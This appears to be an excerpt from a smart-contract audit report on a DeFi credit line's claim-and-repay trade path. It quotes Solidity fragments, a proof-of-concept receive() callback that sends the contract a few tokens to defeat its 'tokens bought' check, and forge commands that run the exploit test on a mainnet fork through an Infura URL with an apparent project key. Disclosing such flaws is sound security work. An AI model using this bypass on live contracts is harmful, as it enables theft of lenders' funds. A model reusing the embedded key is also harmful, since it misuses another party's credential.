function claimAndRepay(address claimToken, bytes calldata zeroExTradeData) external
        whileBorrowing
        nonReentrant
        returns (uint256) { 

...
// Line 106 - Line 112
uint256 newTokens = claimToken == credit.token ?
          spigot.claimEscrow(claimToken) :  // same asset. dont trade
          _claimAndTrade(                   // trade revenue token for debt obligation
              claimToken,
              credit.token,
              zeroExTradeData
          );
...
// Line 128 - Line 130 
 credits[id] = _repay(credit, id, repaid);

        emit RevenuePayment(claimToken, repaid);

...

}
function _claimAndTrade(
      address claimToken,
      address targetToken,
      bytes calldata zeroExTradeData
    )
        internal
        returns (uint256)
    {
        (uint256 tokensBought, uint256 totalUnused) = SpigotedLineLib.claimAndTrade(
            claimToken,
            targetToken,
            swapTarget,
            address(spigot),
            unusedTokens[claimToken],
            zeroExTradeData
        );

        // we dont use revenue after this so can store now
        unusedTokens[claimToken] = totalUnused;
        return tokensBought;
    }
function claimAndTrade(
        address claimToken,
        address targetToken,
        address payable swapTarget,
        address spigot,
        uint256 unused,
        bytes calldata zeroExTradeData
    )
    external 
        returns(uint256, uint256)

{
...
 trade(
            claimed + unused,
            claimToken,
            swapTarget,
            zeroExTradeData
        );
        
        // underflow revert ensures we have more tokens than we started with
        uint256 tokensBought = LineLib.getBalance(targetToken) - oldTargetTokens;

        if(tokensBought == 0) { revert TradeFailed(); } // ensure tokens bought
...


}
receive() external payable {
    console.log("Callback hit: Send the SpigottedLine Contract some CreditToken to bypass the check of Balance");
    uint256 amount = 100; 
    creditToken.transfer(address(line),amount);
    console.log("Receive the amount of ETH: %s", msg.value);
  }
 if(tokensBought == 0) { revert TradeFailed(); } // ensure tokens bought
forge test -m test_lender_can_claim_and_repay_3 -vvvvv --fork-url 'https://mainnet.infura.io/v3/61b30ad3285446cf86bed0c053d864af' --fork-block-n
umber 15918000
git apply POC.patch
forge install
forge test -m test_lender_can_claim_and_repay_3 -vvvvv --fork-url 'https://mainnet.infura.io/v3/61b30ad3285446cf86bed0c053d864af' --fork-block-n
umber 15918000
